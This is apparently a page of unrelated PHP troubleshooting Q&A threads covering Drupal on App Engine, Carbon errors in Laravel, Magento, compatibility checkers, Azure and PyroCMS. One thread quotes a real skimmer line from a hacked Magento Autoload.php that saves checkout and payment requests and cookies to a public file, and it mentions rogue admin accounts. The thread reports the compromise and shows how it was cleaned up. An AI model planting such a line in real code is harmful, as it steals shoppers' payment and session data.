I have created a Google AppEngine and loaded the Drupal extension http://blog.boombatower.com/drupal-integration-module-google-app-engine
This loaded and ran correctly.
I then added the rest of an existing Drupal site, and added some extra entries in the settings.php file to handle additional facilities, including memcache and FB
$conf['cache_backends'][] = 'sites/all/modules/memcache/memcache.inc';
// The 'cache_form' bin must be assigned no non-volatile storage.
$conf['cache_class_cache_form'] = 'DrupalDatabaseCache';
$conf['cache_default_class'] = 'MemCacheDrupal';
$conf['memcache_key_prefix'] = 'something_unique';
require_once "sites/all/libraries/purl-master/src/Purl.php";
include "sites/all/modules/fb/fb_url_rewrite.inc";
include "sites/all/modules/fb/fb_settings.inc";
When I load the site to the AppEngine and then view I get errors regarding files not found. These are image files which have a space character in the name. The referencing URL looks correct. Other image files without a space in the name work correctly.
17:32:41.844 Static file referenced by handler not found: __static__/sites/default/files/images/frontpage/Titan%20#%20Kiva%20Beach.jpg
I will move this and my other files to Cloud storage after I have the basics running.
When I check for instances of the AppEngine none are showing. Yet the site loads and runs / partially, I have issues with responsive menus which is preventing me access the admin and other pages
Warning: Invalid argument supplied for foreach() in responsive_menus_glob_recursive() (line 491 of /base/data/home/apps/s~app-laketahoe-com/1.374191105859253183/sites/all/modules/responsive_menus/responsive_menus.module).
Not sure if this is related.
I wanted to SSH into the AppEngine to look at the file system but can't find it listed in the instances. I had added the Compute Engine at a later date but it should be independant of the App Engine.
greg#ubuntu:~$ gcutil listinstances
+------------------+---------------+---------+--------------+---------------+
| name | zone | status | network-ip | external-ip |
+------------------+---------------+---------+--------------+---------------+
| vm-laketahoe-com | us-central1-b | RUNNING | 10.240.36.10 | 23.251.150.90 |
+------------------+---------------+---------+--------------+---------------+
Thanks in advance
I don't believe filenames with spaces in them are supported at all.
Also there is a bug with glob() calls not working which might be the Warning you're seeing.
Lastly you cannot SSH into app engine. The admin console for your app engine apps is at https://appengine.google.com/
Related
I have this laravel api hosted on a sharefd hosting siteground, i made some changes like changing the public folder to public html and update the storage filing so i can be able to run the laravel storage link commande bu i encountred this error while trying to access my temporary domain
FULL ERROR NAME
Carbon\Carbon::setLastErrors(): Argument #1 ($lastErrors) must be of type array, bool given, called in /home/customer/www/bassemb5.sg-host.com/vendor/nesbot/carbon/src/Carbon/Traits/Creator.php on line 98
and this is my index.php looks like
<?php
use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Check If The Application Is Under Maintenance
|--------------------------------------------------------------------------
|
| If the application is in maintenance / demo mode via the "down" command
| we will load this file so that any pre-rendered content can be shown
| instead of starting the framework, which could cause an exception.
|
*/
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
require $maintenance;
}
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| this application. We just need to utilize it! We'll simply require it
| into the script here so we don't need to manually load our classes.
|
*/
require __DIR__.'/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request using
| the application's HTTP kernel. Then, we will send the response back
| to this client's browser, allowing them to enjoy our application.
|
*/
$app = require_once __DIR__.'/../bootstrap/app.php';
$app->bind('path.public', fn() => base_path('/public_html'));
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
$request = Request::capture()
)->send();
$kernel->terminate($request, $response);
and this is the line i added and it was working perfectly
$app->bind('path.public', fn() => base_path('/public_html'));
Hi Also managing my old site.
You need to update your composer by using
composer update
And all work fine
We had exactly the same error (same file and line) than OP.
In our research it looks like it got broken after 2.57 (working), for us 2.58 was already failing and broke our pipeline, failing in the "composer install" phase with exactly same error.
As #tomexsans mentions it seems to be fixed in 2.62.1+. We upgraded to the latest available version today (2.64) and worked fine, getting the issue fixed.
--
TL;DR
composer update nesbot/carbon
should do the trick.
Also managing my old site on Siteground, customer contacted told me about 500 error.
When I looked at the Logs nothing is wrong.
When I turned on the app_debug we had the same error.
It does not happen on localhost because I have PHP 8.1 installed.
If you're using PHP 8.2 and this problem appears, you need to update your composer.lock to the latest carbon version
https://github.com/briannesbitt/Carbon/releases/tag/2.62.1
or just pull back your PHP version to 8.1
UPDATE: this error came from Siteground Auto Updating your PHP VERSION to 8.2
I have mine forced to PHP 8.1 yet they still Auto Managed it and upgraded the PHP Version to 8.2 without any notifications or advise
I had this issue a few days again
just type composer update on your terminal that will solve the issue.
Give this a vote afterward.
We used carbon in combination with aporat - store receipt validator.
Unfortunately we couldn't update the nesbot using composer, due hardlocked versions and nesbot being a dependency of another library.
Luckily when comparing the libraries Creator file we saw the hotfix in the latest version, by that time being:
https://github.com/briannesbitt/Carbon/blob/master/src/Carbon/Traits/Creator.php
We ended up fixing it with only updating that specific file, since only the setLastErrors() function was updated there.
I truly hope it helps someone.
If you can not change your PHP version to 8.1, you can update this line
File Path
./vendor/nesbot/carbon/src/Carbon/Traits/Creator.php
Line No:
928
Old Line
private static function setLastErrors(array $lastErrors)
New Line
private static function setLastErrors($lastErrors)
Since this morning I'm getting the following
PHP Notice after running the Magento cronjob:
Undefined index: REQUEST_URI in /htdocs/lib/Varien/Autoload.php on
line 1
I did not modify any of the mage files.. How is this possible?
EDIT:
For now I've edited the Autoload.php to first check if the REQUEST_URI is set.
Original:
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
New:
<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))
EDIT 30-04-2015:
After reading #volkan and #b.enoit.be comments I've immediately replaced the specified page with the original one from Magento and the line was indeed not present!.
The following was the malicious line present in Autoload.php
<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){#file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", #base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>
I've also checked:
/js/index.php same as original
/index.php same as original
Magpleasure_Filesystem module was not present
However.. there were two new admin-users which had obscure names:
backup - auto_bc#magent.com <-- this domain leads to a domain holding
page and the email gives Russian results on Google
database - db#local.host
Both users have been deleted.
The website was also vulnerable tot the shoplift exploit (which is addressed in the latest security-patch)
We're currently busy installing the latest security patches.
It seems that this has been a recent problem:
100,000 web shops open to compromise as attackers exploit Magento bug
Magento Shoplift Bug Tester v1.0
Thanks to all users for there help.
it looks like that your page has been compromised, replace the file with the original one, and install the security patches for magento. Check if there are some new admin-users in the backend, and for the module Magpleasure_Filesystem
check also
/js/index.php
/index.php
This is definitely a compromised file.
If anybody else encounters the same problem, media/catalog/product/cache_catalogs file should be deleted as well, because it contains sensitive data (requests and cookies data from checkout or payment pages) and it is publicly accessible (in media/ folder).
So I'm running XAMPP with php5.6.3 installed. However, I'm writing something for a website running on a server using php 5.2.
Is there anything like PHPUnit or PHPCodesniffer (or an online tool) which will tell me if part of my code won't work on specific versions of php (such as php < 5.3.2)?
Thanks
CodeSniffer will do:
Download the latest release at http://github.com/wimg/PHP53Compat_CodeSniffer/downloads – make sure you rename the PHP53Compat_CodeSniffer directory to PHP53Compatibility
If you have git, use :
git clone git://github.com/wimg/PHP53Compat_CodeSniffer.git PHP53Compatibility
Copy the PHP53Compatibility directory to {your pear path}/PHP/CodeSniffer/Standards
How to run
Start PHP_CodeSniffer like this :
phpcs --standard=PHP53Compatibility <path-to-your-PHP-source-directory>
Sample output
FILE: C:\temp\bla.php
--------------------------------------------------------------------------------
FOUND 15 ERROR(S) AND 2 WARNING(S) AFFECTING 12 LINE(S)
--------------------------------------------------------------------------------
4 | ERROR | Function name, class name, namespace name or constant name can
| | not be reserved keyword 'goto' (since version 5.3)
6 | ERROR | Extension 'dbase' is not available in PHP 5.3 anymore
12 | ERROR | Function name, class name, namespace name or constant name can
| | not be reserved keyword 'const' (since version all)
12 | ERROR | Function name, class name, namespace name or constant name can
| | not be reserved keyword 'const' (since version all)
etc...
SRC: http://techblog.wimgodden.be/2010/06/24/automated-php-5-3-compatibility-testing-for-your-old-code/
Ok. So after looking into all of the above suggestions I've settled on PHPCompatibility by Wim Godden. https://github.com/wimg/PHPCompatibility
Two reasons I chose this over PHP53Compat_CodeSniffer is:
it specifically has a new feature for what I wanted. Taken from Wim's blog:
You can also test for backwards compatibility of your code by specifying versions like 5.2, which causes it to check whether you’re using functions or keywords not known to this older version. Quite nice if you’re coding on PHP 5.5, but your system engineer tells you half way through the project the project will have to be deployed on 5.2.
That's exactly my case. And...
It uses composer and is much simpler to use than PHP53Compat_CodeSniffer.
I am trying to interact my web app with azure api. I got this php exception error. Can anyone tell me what is it?
RuntimeException: The provided config value '[http | https]' does not belong to the valid values subset:
This is my code (account key has been deleted):
$conn_string="DefaultEndpointsProtocol=[http | https];AccountName=storage;AccountKey=...";
$blobRestProxy = ServicesBuilder::getInstance()->createBlobService($conn_string);
Your Storage Connection String is indeed invalid.
The value [http | https] is just a placeholder you copied from somewhere, it denotes that you have to pick http or https to configure whether you want to connect to your storage data over regular or secure http.
Simply try:
DefaultEndpointsProtocol=https;AccountKey=... etc
And BTW, you're exposing your account key to the public!
You need to use either http or https, not both.
So I have created my web page based on PyroCMS, adding some custom modules. Developing was done on localhost using wampserver. Now I need to put this website online, so I'm trying to test it using free hosting. I uploaded my project folder on webhost, imported database, changed database.php file for new connection settings.
But, when trying to custom modules from web site, I get message: "We cannot find the page you are looking for, please click here to go to the homepage."
What am I missing here? Everything was working good on localhost, I guess there is something I havent changed :/
Edited:
Maybe this helps - in control panel/add-on I get this error message:
Message: Invalid argument supplied for foreach()
Filename: models/module_m.php
Line Number: 479
The default URI_PROTOCOL is wrong, or not correctly detected by your host. Play with the settings in config/config.php. I have the most success with PATH_INFO instead of AUTO
/*
|--------------------------------------------------------------------------
| URI PROTOCOL
|--------------------------------------------------------------------------
|
| This item determines which server global should be used to retrieve the
| URI string. The default setting of 'AUTO' works for most servers.
| If your links do not seem to work, try one of the other delicious flavors:
|
| 'AUTO' Default - auto detects
| 'PATH_INFO' Uses the PATH_INFO
| 'QUERY_STRING' Uses the QUERY_STRING
| 'REQUEST_URI' Uses the REQUEST_URI
| 'ORIG_PATH_INFO' Uses the ORIG_PATH_INFO
|
*/
$config['uri_protocol'] = 'PATH_INFO';